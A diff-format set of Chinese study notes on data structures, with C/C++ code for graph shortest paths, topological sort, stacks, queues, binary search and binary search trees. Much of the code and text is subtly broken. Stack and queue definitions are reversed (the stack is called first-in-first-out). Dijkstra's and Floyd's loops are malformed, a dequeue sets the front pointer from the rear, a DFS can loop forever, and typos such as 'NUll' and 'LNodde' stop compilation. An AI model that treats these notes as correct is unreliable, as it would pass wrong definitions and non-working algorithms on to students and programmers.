||||||
|
}
|
||||||
|
stack[++top]=a; //源点
|
||||||
|
while(top!=-1)
|
||||||
|
cout<<stack[top--]<<" ";//出栈并打印出栈元素,实现顶点逆序打印
|
||||||
|
cout<<endl;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
//迪杰斯特拉算法
|
||||||
|
void Dijkstra(MGraph g,int v,int dist[],int path[])
|
||||||
|
{
|
||||||
|
int set[maxSize];
|
||||||
|
int min,i,j,u;
|
||||||
|
//对各数组初始化
|
||||||
|
for(i=0;i<g.edges[v][i])
|
||||||
|
{
|
||||||
|
dist[i]=g.edges[v][i];
|
||||||
|
set[i]=0;
|
||||||
|
if(g.edges[v][i]<INF)path[i]=v;
|
||||||
|
else path[i]=-1;
|
||||||
|
}
|
||||||
|
set[v]=1;path[v]=-1;
|
||||||
|
//初始化结束
|
||||||
|
//关键操作
|
||||||
|
for(i=0;i<g.n-1;++i)
|
||||||
|
{
|
||||||
|
min=INF;
|
||||||
|
//从剩余顶点选取一个顶点,通往这个顶点的路径在通往所有剩余结点中路径最短
|
||||||
|
for(j=0;j<g.n;++j)
|
||||||
|
{
|
||||||
|
if(set[j]==0&&dist[j]<min)
|
||||||
|
{
|
||||||
|
u=j;
|
||||||
|
min=dist[j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
set[u]=1; //将选出的顶点并入最短路径
|
||||||
|
//将选出的顶点作为中间点,对所有通往剩余顶点的路径进行检测
|
||||||
|
for(j=0;j<g.n;++j)
|
||||||
|
{
|
||||||
|
//判断顶点u的加入是否会出现通往顶点j的更短的路径
|
||||||
|
//如果出现,则改变路径长度,否则什么都不做
|
||||||
|
if(set[j]==0&&dist[u]+g.edges[u][j]<dist[j])
|
||||||
|
{
|
||||||
|
dist[j]=dist[u]+g.edges[u][j];
|
||||||
|
path[j]=u;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//关键操作结束
|
||||||
|
}
|
||||||
|
//函数结束,dist[]数组存放了v点到其余顶点的最短路径长度
|
||||||
|
//path[]中存放v点到其余各顶点的最短路径
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 2.费洛伊德算法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
void Floyd(MGraph g,int Path[][maxSize])
|
||||||
|
{
|
||||||
|
int i,j,k;
|
||||||
|
int A[maxSize][maxSize];
|
||||||
|
//对A[][]和Path[][]进行初始化
|
||||||
|
for(i=0;i<g.n;++j)
|
||||||
|
{
|
||||||
|
for(j=0;j<g.n;++j)
|
||||||
|
{
|
||||||
|
A[i][j]=g.edges[i][j];
|
||||||
|
Path[i][j]=-1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//完成以k为中间点对所有顶点对{i,j}进行检测和修改
|
||||||
|
for(k=0;k<g.n;++k)
|
||||||
|
{
|
||||||
|
for(i=0;i<g.n;++i)
|
||||||
|
{
|
||||||
|
for(j=0;j<g.n;++j)
|
||||||
|
{
|
||||||
|
if(A[i][j]>A[i][k]+A[k][j])
|
||||||
|
{
|
||||||
|
A[i][j]=A[i][k]+A[k][j];
|
||||||
|
Path[i][j]=k;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 五、拓扑排序
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//拓扑排序
|
||||||
|
int TopSort(AGraph *G)
|
||||||
|
{
|
||||||
|
int i,j,n=0;
|
||||||
|
int stack[maxSize],top=-1;
|
||||||
|
ArcNode *p;
|
||||||
|
//将图中入度为0的顶点入栈
|
||||||
|
for(i=0;i<G->n;++i)
|
||||||
|
{
|
||||||
|
if(G->adjlist[i].count==0)
|
||||||
|
stack[++top]=i;
|
||||||
|
}
|
||||||
|
//关键操作
|
||||||
|
while(top!=-1)
|
||||||
|
{
|
||||||
|
i=stack[top--]; //顶点出栈
|
||||||
|
++n; //计数器加1,统计当前顶点
|
||||||
|
cout<<i<<" "; //输出当前顶点
|
||||||
|
p=G->adjlist[i].firstarc;
|
||||||
|
//将所有由此结点引出的边所指的顶点的入度减小1,将这个过程中入度为0的顶点入栈
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
j=p->adjvex; //该边所指向的结点位置
|
||||||
|
--(G->adjlist[j].count);
|
||||||
|
if(G->adjlist[j].count==0)
|
||||||
|
stack[++top]=j;
|
||||||
|
p=p->nextarc; //指向下一条边的顶点
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//关键操作结束
|
||||||
|
if(n==G->n) return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 六、关键路径
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 七、例程
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.判断以邻接表方式存储的有向图中是否存在由顶点vi到顶点vj的路径
|
||||||
|
//思路:广度优先搜索遍历BFS,起点为vi,BFS退出之前遇到vj,则证明有路径
|
||||||
|
int BFS(AGraph *G,int vi,int vj)
|
||||||
|
{
|
||||||
|
ArcNode *p;
|
||||||
|
int que[maxSize],front=rear=0;
|
||||||
|
int visit[maxSize];
|
||||||
|
int i,j;
|
||||||
|
for(i=0;i<G->n;++i)visit[i]=0;
|
||||||
|
rear=(rear+1)%maxSize;
|
||||||
|
que[rear]=vi;
|
||||||
|
visit[vi]=1;
|
||||||
|
while(front!=rear)
|
||||||
|
{
|
||||||
|
front=(front+1)%maxSize;//出队
|
||||||
|
j=que[front];
|
||||||
|
if(j==vj)return 1;//找到了顶点vj
|
||||||
|
p=G->adjlist[j].firstarc; //指向出队顶点的第一条边
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
if(visit[p->adjvex]==0)
|
||||||
|
{
|
||||||
|
rear=(rear+1)%maxSize;
|
||||||
|
que[rear]=p->adjvex;
|
||||||
|
visit[p->adjvex]=1;
|
||||||
|
}
|
||||||
|
p=p->nextarc; //p指向下一条边
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
//2.有向图G中,如果r到G中的每个结点都有路径可达,则称结点r为G的根结点
|
||||||
|
//判断有向图是否有根
|
||||||
|
//深度优先搜索遍历DFS,以r为起点进行DFS遍历,若在函数退出时已经访问所有顶点,则r为根
|
||||||
|
int visit[maxSize],sum; //假设常量maxSize已经定义
|
||||||
|
void DFS(AGraph *G,int v)
|
||||||
|
{
|
||||||
|
ArcNode *p;
|
||||||
|
visit[v]=1;
|
||||||
|
++sum;//每访问一个顶点,加1
|
||||||
|
p=G->adjlist[v].firstarc;
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
if(visit[p->adjvex]==0)
|
||||||
|
{
|
||||||
|
DFS(G,p->adjvex);
|
||||||
|
p=p->nextarc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void print(AGraph *G)
|
||||||
|
{
|
||||||
|
int i,j;
|
||||||
|
for(i=0;i<G->n;++i)
|
||||||
|
{
|
||||||
|
sum=0; //每次选取一个新起点计数器清零
|
||||||
|
for(j=0;j<G->n;++j)visit[j]=0; //每次进行DFS时访问标记数组清零
|
||||||
|
DFS(G,i);
|
||||||
|
if(sum==G->n)cout<<i<<endl; //当图中所有顶点全部被访问时则判断为根,输出
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,450 @@
|
||||||
|
# 原创
|
||||||
|
: 第三章 栈和队列
|
||||||
|
|
||||||
|
# 第三章 栈和队列
|
||||||
|
|
||||||
|
# 一、基本概念
|
||||||
|
|
||||||
|
栈:先进先出,顺序栈和链式栈,本质上是线性表 <br/> 队列:先进后出,一种操作受限的线性表
|
||||||
|
|
||||||
|
# 二、结构体定义
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.顺序栈定义
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int date[maxSize];
|
||||||
|
int top;
|
||||||
|
}SqStack;
|
||||||
|
|
||||||
|
//2.链栈结点定义
|
||||||
|
typedef struct LNode
|
||||||
|
{
|
||||||
|
int date;
|
||||||
|
struct LNode *next;
|
||||||
|
}LNode;
|
||||||
|
|
||||||
|
//3.顺序队列定义
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int date[maxSize];
|
||||||
|
int front;
|
||||||
|
int rear;
|
||||||
|
}SqQueue;
|
||||||
|
|
||||||
|
//4.链队定义
|
||||||
|
//队结点类型定义
|
||||||
|
typedef struct QNode
|
||||||
|
{
|
||||||
|
int date;
|
||||||
|
struct QNode *next;
|
||||||
|
}QNode;
|
||||||
|
//链队类型定义
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
QNode *front;
|
||||||
|
QNode *rear;
|
||||||
|
}LiNode;
|
||||||
|
```
|
||||||
|
|
||||||
|
# 三、顺序栈
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.顺序栈要素
|
||||||
|
st.top==-1; //栈空
|
||||||
|
st.top==maxSize-1; //栈满
|
||||||
|
//还有一种就是上溢和下溢
|
||||||
|
|
||||||
|
//2.两个操作
|
||||||
|
st.date[++(st.top)]=x; //进栈
|
||||||
|
x=st.date[(st.top)--]; //出栈
|
||||||
|
|
||||||
|
//3.初始化栈
|
||||||
|
void initStack(SqStack &st)
|
||||||
|
{
|
||||||
|
st.top=-1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//4.判断栈空
|
||||||
|
int isEmpty(SqStack st)
|
||||||
|
{
|
||||||
|
if(st.top==-1)return -1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//5.进栈
|
||||||
|
int push(SqStack &st, int x)
|
||||||
|
{
|
||||||
|
if(st.top==maxSize-1)return 0;
|
||||||
|
st.date[++(st.top)]=x;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//6.出栈
|
||||||
|
int pop(SqStack &st, int &x)
|
||||||
|
{
|
||||||
|
if(st.top==-1)return 0;
|
||||||
|
x=st.date[st.top--];
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//比较实用的写法
|
||||||
|
int stack[maxSize];int top=-1;
|
||||||
|
stack[++top]=x;
|
||||||
|
x=stack[top--];
|
||||||
|
```
|
||||||
|
|
||||||
|
# 四、链栈
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.要素
|
||||||
|
//两个状态
|
||||||
|
lst->next==NULL; //栈空
|
||||||
|
//栈满,除非内存耗尽
|
||||||
|
|
||||||
|
//两个操作
|
||||||
|
p->next=lst->next;lst->next=p; //进栈
|
||||||
|
p=lst->next;x=p->date;lst->next=p->next;free(p);//出栈
|
||||||
|
|
||||||
|
//2.链栈的初始化代码
|
||||||
|
void initStack(LNode *&lst)\
|
||||||
|
{
|
||||||
|
lst=(LNode*)malloc(sizeof(LNode));
|
||||||
|
lst->next=NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.判断栈空代码
|
||||||
|
int isEmpty(LNode *lst)
|
||||||
|
{
|
||||||
|
if(lst->next==NULL)return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//4.进栈
|
||||||
|
void push(LNode *lst, int x)
|
||||||
|
{
|
||||||
|
LNode *p;
|
||||||
|
p=(LNode)malloc(sizeof(LNode));
|
||||||
|
p->next=NULL;
|
||||||
|
p->date=x;
|
||||||
|
p->next=lst->next;
|
||||||
|
lst->next=p;
|
||||||
|
}
|
||||||
|
|
||||||
|
//5.出栈
|
||||||
|
void pop(LNode *lst, int *&x)
|
||||||
|
{
|
||||||
|
LNode *p;
|
||||||
|
if(lst->next==NULL)return 0;
|
||||||
|
p=lst->next;
|
||||||
|
x=p->date;
|
||||||
|
lst->next=lst->next->next;
|
||||||
|
free(p);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 五、栈的应用
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.算法:判断一个表达式的括号是否配对
|
||||||
|
int match(char exp[], int n)
|
||||||
|
{
|
||||||
|
char stack[maxSize];int top=-1; //顺序栈的定义和初始化
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for(i=0;i<n;++i)
|
||||||
|
{
|
||||||
|
if(exp[i]=='(')stack[++top]='(';
|
||||||
|
if(exp[i]==')')
|
||||||
|
{
|
||||||
|
if(top==-1)return 0;
|
||||||
|
else top--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(top==-1) return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.算法:求后缀式表达式数值
|
||||||
|
//中缀式:(a+b+c*d)/e;
|
||||||
|
//前缀式:/++ab*cde;
|
||||||
|
//后缀式:abcd*++e/
|
||||||
|
int op(int a, char Op, int b)
|
||||||
|
{
|
||||||
|
if(Op=='+')return a+b;
|
||||||
|
if(Op=='-')return a-b;
|
||||||
|
if(Op=='*')return a*b;
|
||||||
|
if(Op=='/')
|
||||||
|
{
|
||||||
|
if(b==0)
|
||||||
|
{
|
||||||
|
cout<<"ERROR";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else return a/b;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int com(char exp[])
|
||||||
|
{
|
||||||
|
int i,a,b,c; //其中a,b为操作数,c保存结果
|
||||||
|
int stack[maxSize];int top=-1;
|
||||||
|
char Op;
|
||||||
|
for(i=0;exp[i]!='\0';++i)
|
||||||
|
{
|
||||||
|
//注意字符型和整型的转换
|
||||||
|
if(exp[i]>='0'&&exp[i]<='9')stack[++top]=exp[i]-'0';
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Op=exp[i];
|
||||||
|
b=stack[top--];//先取第二个操作数
|
||||||
|
a=stack[top--];
|
||||||
|
c=op(a,Op,b);
|
||||||
|
stack[++top]=c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return stack[top];
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.不带头结点的单链表存储链栈
|
||||||
|
void initStack(LNode *&lst)
|
||||||
|
{
|
||||||
|
lst==NULL;
|
||||||
|
}
|
||||||
|
int isEmpltyl(LNode *lst)
|
||||||
|
{
|
||||||
|
if(lst==NUll)return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
void push(LNode *&lst, int x)
|
||||||
|
{
|
||||||
|
LNodde *p;
|
||||||
|
p=(LNode*)malloc(sizeof(LNode));
|
||||||
|
p->next=NULL;
|
||||||
|
p->date=x;
|
||||||
|
//lst不带头结点
|
||||||
|
p->next=lst->next;
|
||||||
|
lst=p;
|
||||||
|
}
|
||||||
|
int pop(LNode *&lst, int &x)
|
||||||
|
{
|
||||||
|
LNode *p;
|
||||||
|
if(lst==NULL)return 0;
|
||||||
|
p=lst;
|
||||||
|
x=p->date;
|
||||||
|
lst=p->next;
|
||||||
|
free(p);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 六、顺序队
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.四个要素
|
||||||
|
qu.rear==qu.front; //队空
|
||||||
|
(qu.rear+1)%maxSize==qu.front; //队满
|
||||||
|
qu.rear=(qu.rear+1)%maxSize;qu.date[qu.rear]=x; //进队,移动队尾指针
|
||||||
|
qu.front=(qu.rear+1)%maxSize;x=qu.date[qu.front]; //出队,移动队首指针
|
||||||
|
|
||||||
|
//2.初始化队列
|
||||||
|
void initStack(SqQueue qu)
|
||||||
|
{
|
||||||
|
qu.front=qu.rear=0
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.判断队空
|
||||||
|
int isQueueEmpty(SqQueue qu)
|
||||||
|
{
|
||||||
|
if(qu.rear==qu.front)return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//4.进队
|
||||||
|
int enQueue(SqQueue &qu, int x)
|
||||||
|
{
|
||||||
|
//队满不能进队
|
||||||
|
if((qu.rear+1)%maxSize==qu.front)return 0;
|
||||||
|
qu.rear=(qu.rear+1)%maxSize;
|
||||||
|
qu.date=x;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//5.出队
|
||||||
|
int deQueue(SqQueue &qu, int &x)
|
||||||
|
{
|
||||||
|
if(qu.front==qu.rear)return 0;
|
||||||
|
qu.front=(qu.front+1)%maxSize;
|
||||||
|
x=qu.date[qu.front];
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 七、链队
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.要素
|
||||||
|
lqu->rear==NULL||lqu->front==NULL; //队空
|
||||||
|
//不存在队满
|
||||||
|
lqu->rear->next=p;lqu->rear=p; //进队
|
||||||
|
p=lqu->front;lqu->front=p->next;x=p->date;free(p); //出队
|
||||||
|
|
||||||
|
//2.初始化链队
|
||||||
|
void initQueue(LiQueue *&lqu)
|
||||||
|
{
|
||||||
|
lqu=(LiQueue*)malloc(sizeof(LiQueue));
|
||||||
|
lqu->front=lqu->rear=NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.判断队空
|
||||||
|
init isQueueEmpty(LiQueue *lqu)
|
||||||
|
{
|
||||||
|
if(lqu->rear==NULL||lqu->front==NULL)return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//4.入队
|
||||||
|
void enQueue(LiQueue *lqu, int x)
|
||||||
|
{
|
||||||
|
QNode *p;
|
||||||
|
p=(QNode*)malloc(sizeof(QNode));
|
||||||
|
p->date=x;
|
||||||
|
p->next=NULL;
|
||||||
|
if(lqu->rear==NULL)lqu->front=lqu->rear=p;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
lqu->rear->next=p;
|
||||||
|
lqu->rear=p;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//5.出队
|
||||||
|
int deQueue(LiQueue *lqu, int &x)
|
||||||
|
{
|
||||||
|
QNode *p;
|
||||||
|
if(lqu->rear==NULL)return 0;
|
||||||
|
else p=lqu->front;
|
||||||
|
if(lqu->front==lqu->rear)lqu->front=lqu->rear=NULL;
|
||||||
|
else lqu->front=lqu->front->next;
|
||||||
|
x=p->date;
|
||||||
|
free(p);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 八、实例
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.共享栈s0、s1的相关操作,共享elem[0,1,...,maxSize-1]
|
||||||
|
//结构体定义
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int elem[maxSize];
|
||||||
|
int top[2];
|
||||||
|
}SqStack;
|
||||||
|
//入栈
|
||||||
|
int push(SqStack &st, int stNo, int x)
|
||||||
|
{
|
||||||
|
if(st.top[0]+1<st.top[1])
|
||||||
|
{
|
||||||
|
if(stNo==0)
|
||||||
|
{
|
||||||
|
++(st.top[0]);
|
||||||
|
st.elem[st.top[0]]=x;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else if(stNo==1)
|
||||||
|
{
|
||||||
|
--(st.top[1]);
|
||||||
|
st.elem[st.top[1]]=x;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else return -1;
|
||||||
|
}
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
//出栈
|
||||||
|
int pop(SqStack &st, int dtNo, int &x)
|
||||||
|
{
|
||||||
|
if(stNo==0)
|
||||||
|
{
|
||||||
|
if(st.top[0]!=-1)
|
||||||
|
{
|
||||||
|
x=st.elem[st.top[0]];
|
||||||
|
--(st.top[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
else if(stNo==1)
|
||||||
|
{
|
||||||
|
if(st.top[1]!=maxSize)
|
||||||
|
{
|
||||||
|
x=st.elem[st.top];
|
||||||
|
++(st.top[1]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
else return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.用两个栈s1和s2模拟一个队列
|
||||||
|
//入栈
|
||||||
|
int enQueue(SqStack &s1,SqStack &s2,int x)
|
||||||
|
{
|
||||||
|
int y;
|
||||||
|
if(s1.top==maxSize-1)
|
||||||
|
{
|
||||||
|
if(!isEmpty(s2))return 0;
|
||||||
|
else if(isEmpty(s2))
|
||||||
|
{
|
||||||
|
while(!siEmpty(s1))
|
||||||
|
{
|
||||||
|
//s1中元素出栈,进入s2中
|
||||||
|
pop(s1,y);
|
||||||
|
push(s2,y);
|
||||||
|
}
|
||||||
|
push(s1,x);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
push(s1,x);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//s2退栈,实现出队
|
||||||
|
int deQueue(SqStack &s2, SqStack &s1, int &x)
|
||||||
|
{
|
||||||
|
int y;
|
||||||
|
if(!isEmpty(s2))
|
||||||
|
{
|
||||||
|
pop(s2,x);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(isEmpty(s1))return 0;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
while(!isEmpty(s1))
|
||||||
|
{
|
||||||
|
pop(s1,y);
|
||||||
|
push(s2,y);
|
||||||
|
}
|
||||||
|
pop(s2,x);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//判断栈s1和s2模拟的队列是否为空
|
||||||
|
int isQueueEmpty(SqStack s1,SqStack s2)
|
||||||
|
{
|
||||||
|
if(isEmpty(s1)&&isEmpty(s2))return 1;
|
||||||
|
else return 0;
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,222 @@
|
||||||
|
# 原创
|
||||||
|
: 第九章 查找
|
||||||
|
|
||||||
|
# 第九章 查找
|
||||||
|
|
||||||
|
# 一、基础知识点
|
||||||
|
|
||||||
|
## 1.基本概念
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 2.顺序查找法
|
||||||
|
|
||||||
|
>
|
||||||
|
思路:从表的一端开始,顺序扫描线性表,依次扫描到的关键字和给定值k比较
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//数组a[]有n个元素,没有次序,数组从下标1开始存储,写出查找元素k的算法
|
||||||
|
int Search(int a[],int n,int k)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=1;i<=n;++i)
|
||||||
|
{
|
||||||
|
if(a[i]==k)return i;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
//查找成功----ASL分析:ASL=(1/n)*n*(1+n)/2=(n+1)/2,时间复杂度O(n);
|
||||||
|
//查找失败----ASL分析:ASL=n,时间复杂度O(n);
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3.折半查找法
|
||||||
|
|
||||||
|
>
|
||||||
|
**思路:** <br/> 1.要求线性表**有序**,设R[low, … ,high]是当前查找区间,mid = ( low / high ) / 2; <br/> 2.将待查找k与R[mid]进行比较,相等则查找成功,返回mid,失败则确定新查找区间; <br/> 3.R[mid] > k,则high = mid - 1;若R[mid]
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//数组从下标1开始存储
|
||||||
|
int HalfSearch(int R[],int low,int high,int k)
|
||||||
|
{
|
||||||
|
int mid;
|
||||||
|
while(low<=high)
|
||||||
|
{
|
||||||
|
mid=(low+high)/2;
|
||||||
|
if(R[mid]==k)return mid;
|
||||||
|
else if(R[mid]>k)high=mid-1;
|
||||||
|
else low=mid+1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 4.分块查找
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//索引表定义
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int key;
|
||||||
|
int low,high; //记录块内第一个和最后一个元素位置
|
||||||
|
}indexElem;
|
||||||
|
indexElem index[maxSize]; //定义索引表
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
**算法描述:** <br/> 首先确定待查找元素的块,采用二分法查找;块内元素较少,直接用顺序查找; <br/> 平均查找长度 = 二分法查找平均长度 + 顺序查找平均查找长度;
|
||||||
|
|
||||||
|
|
||||||
|
# 二、二叉排序树与平衡二叉树
|
||||||
|
|
||||||
|
## 1.二叉排序树
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
**基本算法:**
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.查找关键字算法
|
||||||
|
//与这折半查找的二叉树类比,很简单
|
||||||
|
BTNode *BSTSearch(BTNode *bt,int key)
|
||||||
|
{
|
||||||
|
if(bt==NULL)return NULL;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(bt->key==key)return bt;
|
||||||
|
else if(bt->key>key)return BSTSearch(bt->lchild,key);
|
||||||
|
else if(bt->key<key)return BSTSearch(bt->rchild,key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.插入关键字的算法
|
||||||
|
//注意BST是一个查找表,对于一个不存在于二叉排序树中的关键字,查找不成功的位置即为需要将关键字插入的位置
|
||||||
|
int BSTInsert(BTNode *&bt,int key)//由于二叉树需要改变,所以用引用,绪论里说过
|
||||||
|
{
|
||||||
|
if(bt==NULL)//空指针即为找到关键字插入位置
|
||||||
|
{
|
||||||
|
bt=(BTNode*)malloc(sizeof(BTNode));
|
||||||
|
bt->lchild=bt->rchild=NULL;
|
||||||
|
bt->key=key;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(key==bt->key)return 0;//关键字存在二叉树中,插入1失败
|
||||||
|
else if(key<bt->key)return BSTInsert(bt->lchild,key);
|
||||||
|
else if(key>bt->key)return BSTInsert(bt->rchild,key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.二叉排序树的构造算法
|
||||||
|
//建立一棵空树,直接逐个插入即可
|
||||||
|
void CreatBST(BTNode *&bt, int key[], int n)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
bt=NULL;
|
||||||
|
for(i=0;i<n;++i)BSTInsert(bt,key[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
//4.删除关键字操作
|
||||||
|
/*
|
||||||
|
1.p结点为叶子结点
|
||||||
|
2.p结点只有右子树或者只有左子树
|
||||||
|
3.p结点有左右子树,为保证二叉排序树的成立条件(输出的中序遍历有序)
|
||||||
|
遍历p左子树的右指针,直到到达最右边的结点r(或者遍历p右子树的左指针,直到到达最左边的结点)
|
||||||
|
p的关键字用r的关键字(相当于删除p),然后处理多出来的r,删除方式就按1,2情况处理。
|
||||||
|
*/
|
||||||
|
//具体算法严版书上有P230页
|
||||||
|
|
||||||
|
//5.判断一棵二叉树是否为二叉排序树(结点值为int型)
|
||||||
|
//思路:利用二叉排序树BST的中序遍历为递增序列的性质,对该二叉树进行中序遍历即可
|
||||||
|
int predt=INF;//INF为已知常量,小于任何树中结点值,predt始终记录当前结点的前驱结点的值
|
||||||
|
int judgeBST(BTNode *bt)
|
||||||
|
{
|
||||||
|
int b1,b2;
|
||||||
|
if(bt==NULL)return1;//空BST
|
||||||
|
else
|
||||||
|
{
|
||||||
|
b1=judgeBST(bt->lhild);
|
||||||
|
if(b1==0||predt > bt->date)return 0;
|
||||||
|
predt=bt->date;
|
||||||
|
b2=judgeBST(bt->rchild);
|
||||||
|
return b2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.平衡二叉树
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 三、B-树和B+树
|
||||||
|
|
||||||
|
## 1.基本概念
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
<table><thead><th align="center">n</th><th align="center">k1</th><th align="center">k2</th><th align="center">…</th><th align="center">kn</th>
|
||||||
|
</thead><tbody><td align="center">p0</td><td align="center">p1</td><td align="center">p2</td><td align="center">…</td><td align="center">pn</td>
|
||||||
|
</tbody></table>
|
||||||
|
|
||||||
|
|
||||||
|
## 2.基本操作
|
||||||
|
|
||||||
|
## 3.B+树
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 四、散列表
|
||||||
|
|
||||||
|
## 1.基本概念
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 2.Hash表建立以及冲突解决
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 3.常用Hash函数构造方法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 4.常用的Hash冲突处理方法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## 5.散列表的性能分析
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
